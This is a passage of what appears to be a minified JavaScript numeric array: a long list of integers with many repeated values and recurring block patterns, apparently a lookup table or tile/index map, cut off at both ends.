,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,42006,44953,41194,40023,67082,63290,67117,67133,67149,67200,67214,67230,67259,67243,67275,67324,37318,67347,72149,37087,37318,39873,37318,37318,73640,55694,39647,45609,60403,67364,67389,66058,64007,71278,67425,72217,39770,40165,39032,68839,68408,37318,37318,37318,37318,39965,41180,37318,67452,67489,70764,72644,72644,67522,67558,63467,41542,52709,51619,65498,67579,65498,57854,67601,63637,67628,41461,60376,37318,67645,37318,67663,67683,37318,56960,37318,65223,37318,37318,73164,52080,69630,72644,72644,72644,67733,60734,73861,41542,41542,53739,65493,58399,51643,65498,65498,63881,46825,67757,59323,41461,41461,66122,50625,37318,37318,67778,47108,48295,37318,38228,67799,44787,57969,67823,72644,72644,69591,55783,67843,67888,41542,41542,63123,65166,73809,53005,65498,65498,64714,62913,63541,72852,41461,41461,59639,69865,70909,48723,67912,59519,37318,37900,37318,51391,37318,67935,72642,72644,52056,59087,72644,38767,41542,41542,67964,67985,41444,65497,65498,65858,58406,65498,59803,41461,41461,68002,41461,47863,54854,37318,68397,37318,68076,37318,60498,68624,72644,68100,65444,66541,41542,68117,51222,72818,65498,55549,59798,53799,41461,51777,47288,37318,37318,40078,37318,68138,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,65915,37954,37318,68162,56840,72644,69566,50031,41542,68178,65498,72029,59802,41461,61324,68205,61615,68239,68255,57031,68288,49964,68312,64170,41461,72350,72946,63842,68330,50053,68366,68384,61620,60922,73660,47450,46828,40170,49310,63506,57898,47605,68424,68440,45370,63171,40400,68476,68554,68604,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,38247,68640,37318,37318,44545,44549,42062,66479,66466,68687,68703,68719,68748,68732,68764,68811,49856,37318,68835,73418,40538,54530,37318,68855,37963,68877,39120,68925,68959,68996,69012,46476,69028,71470,69063,59385,62027,45461,65008,68839,69079,37318,38220,69096,65716,69131,41882,69165,69175,69191,63718,59550,63357,69231,50874,46465,70280,70118,64531,65596,69273,69296,57117,69318,73551,69334,69350,69367,69406,69430,37318,69456,69475,69510,37318,37318,68519,50099,69530,44732,69549,69582,60998,72644,69624,41363,69646,69670,69695,41542,69720,65493,69753,69776,69799,65498,69824,48973,69844,69860,69881,41461,69903,51039,37318,69922,62705,62209,69940,52743,51107,45640,57591,40471,72643,69961,69994,72644,48835,70019,70047,70072,69679,41542,41542,70100,64902,48943,63562,65498,65498,70134,59800,68060,61822,41461,41461,70150,47863,72356,45780,37318,73436,47091,37318,37318,70166,72704,72644,70194,70221,70244,47170,73209,73218,70265,66328,41444,70313,65498,70329,70356,70389,60293,70422,70441,54423,70477,47863,50635,37318,50706,66496,53384,69533,46401,70511,72644,72644,70544,70560,70789,41542,70593,70626,69047,65498,52486,70661,69887,41461,70487,37318,41199,59126,70706,37318,70726,70746,56994,70780,70823,72308,70850,70870,65601,70904,70925,51697,70495,37450,37318,70960,70979,71002,71021,63456,46437,71047,71074,71095,49624,59493,71132,71156,71181,41086,71197,69608,71230,71263,71294,71313,57200,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,65052,64909,59331,55194,71329,71374,71410,71439,71455,66985,70676,53268,62159,62339,66862,71486,71502,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,71540,37318,37318,62697,37318,37318,67919,71622,71638,71652,71668,71697,71681,71711,65689,37318,37318,41289,71727,43243,37318,54635,37318,47100,37318,37318,37318,44404,60624,71747,71775,71820,71855,71891,71918,50345,37318,37318,68839,37318,37318,64312,71934,37318,37318,37318,63901,73164,71973,72644,72644,67498,71994,41542,41542,41542,72010,61470,65498,65498,49441,57854,72045,41461,41461,72052,56235,72068,37318,72101,73266,37318,37318,37318,72130,72165,37318,45286,73164,72644,72186,72203,52036,66700,41363,41543,41542,72253,47431,72288,65493,56731,65499,62067,70610,72324,46825,73981,63597,47312,56493,72372,47041,37318,38557,37318,72400,37318,37318,37318,52648,37318,37318,72643,69558,72644,72644,72644,72645,72419,58149,41542,41542,41542,41542,61134,64696,65498,65498,65498,65498,59800,57573,41461,41461,41461,41461,47863,56406,37318,67179,37318,37318,37318,37318,60902,62813,72644,72644,72644,72644,42340,41542,41542,41542,41542,41444,47816,65498,65498,65498,65498,64261,41461,41461,41461,41461,47863,54766,37318,37318,46970,37318,37318,39394,72444,72644,72644,67855,72462,41542,57537,51591,72495,65498,65498,72517,72553,41461,41461,72576,37318,72600,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,65757,60923,69654,73664,69041,59801,72620,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,72639,72661,49423,56501,60496,73658,47451,47606,53268,68368,54485,72691,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,42479,51143,66186,50148,37318,40519,67015,72720,37318,37318,72736,72765,72749,72779,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,72795,49944,41369,72816,50989,62003,72217,37318,49091,63043,68839,37318,37318,37318,37318,37318,52920,37318,37318,73164,47899,72644,73587,72644,45386,72834,41542,56677,52709,56433,65498,65498,72024,57854,55980,41461,64944,41461,60376,37318,37318,37318,37318,37318,55361,37318,37318,37318,53853,37318,73164,72644,72644,72868,72644,72644,41363,41542,41542,72887,41542,41542,65493,65498,65498,72920,65498,65498,46825,41461,56253,41461,41461,41461,47041,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,38767,41542,41542,41542,41542,41444,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,54854,37318,40788,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,69080,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,72938,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,50678,37318,37318,72976,37318,72965,72996,73030,73066,73080,73096,73125,73109,73141,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,49521,50028,47181,50958,47282,59296,63932,37318,37318,37318,68839,37318,37318,37318,37318,45204,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,60376,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,37318,37318,37318,37318,37318,48411,37318,37318,37318,37318,73180,72644,72644,72644,72644,72645,73199,41542,41542,41542,41542,41542,56282,65498,65498,65498,65498,65498,56756,41461,41461,41461,41461,41461,47863,54854,37318,68223,37318,37318,37318,37318,37318,72642,72644,73234,72644,56857,38767,41542,66304,41542,41542,73255,65497,65498,73289,65498,72501,59803,41461,61976,41461,70425,47863,54854,37318,37318,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45555,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45323,45350,63443,47e3,65689,37318,37318,41289,73310,37318,39135,37318,37318,37318,46656,37318,73333,55714,73368,64110,41369,73389,53053,62003,72217,37318,37318,37318,73407,48428,48554,40049,37318,37318,37318,37318,37318,73164,72644,61072,72644,52030,45386,41542,41809,41542,73452,65498,65498,58580,63617,57854,41461,41461,73487,55972,60376,73504,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,37318,37318,37318,37318,37318,37318,62308,37318,37318,37318,72643,72644,52957,72644,72644,74050,38772,41542,54792,41542,41542,41542,48926,65498,65498,73527,65498,65498,59800,41461,41461,73547,41461,41461,47863,54854,73567,37318,37318,37318,37318,37318,37318,72642,73584,72644,72644,72644,38767,72904,41542,41542,41542,41444,65497,73603,65498,65498,65498,59803,70455,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45323,45350,63443,47e3,73622,37318,37318,41289,37087,37318,42196,37318,37318,37318,37318,37318,37318,4e4,72644,73656,60650,55287,47282,61984,73680,37318,42131,37318,68839,37318,37318,37318,37318,37318,37318,37318,41786,73164,72644,72644,72644,69600,45386,41542,41542,41542,73717,65498,65498,65498,56205,57854,41461,41461,41461,72560,60376,37318,59949,37318,37318,37318,37318,37318,37318,37318,73753,37318,73164,52385,72644,72644,73772,72644,41363,69737,41542,41542,73791,41542,65493,49792,65498,65498,73825,65498,46825,50572,41461,66682,41461,41461,47041,37318,46080,37318,37318,37318,37318,37318,37318,37318,37318,72643,41389,72644,72644,72644,72645,73844,41542,73877,41542,41542,41542,51420,65498,73910,65498,65498,65498,49986,41461,73935,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,61662,37318,72642,72644,47364,72644,72644,38767,41542,41542,70798,41542,41444,65497,65498,65498,73958,65498,59803,41461,41461,73977,41461,47863,54854,37318,37318,42105,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,73997,37318,37318,40961,37318,60952,72644,60920,74016,41542,41542,57892,65498,65498,71387,41461,41461,56936,37318,60826,37318,73163,72644,74049,50031,68296,73662,65498,74066,59802,53130,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,61870,37318,37318,45323,45350,63443,47e3,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,72217,37318,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,60376,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,38767,41542,41542,41542,41542,41444,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,37318,37318,37318,37318,64589,74088,74086,40559,74115,74104,74140,74169,37318,74124,74153,74190,74194,74210,36991,37318,37318,41289,37087,37318,37318,74245,37318,37318,37318,37318,37318,65657,40192,74266,55734,37318,53472,40192,38527,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,72228,37116,37202,37162,74643,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,37318,37318,37318,37318,48276,37318,37318,53226,37318,37318,67919,57964,74289,74334,37318,37318,74319,74303,36991,37318,37318,41289,37087,37318,37318,37010,37318,37318,37318,74350,37318,53463,40192,38525,37318,37318,74370,40192,38527,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38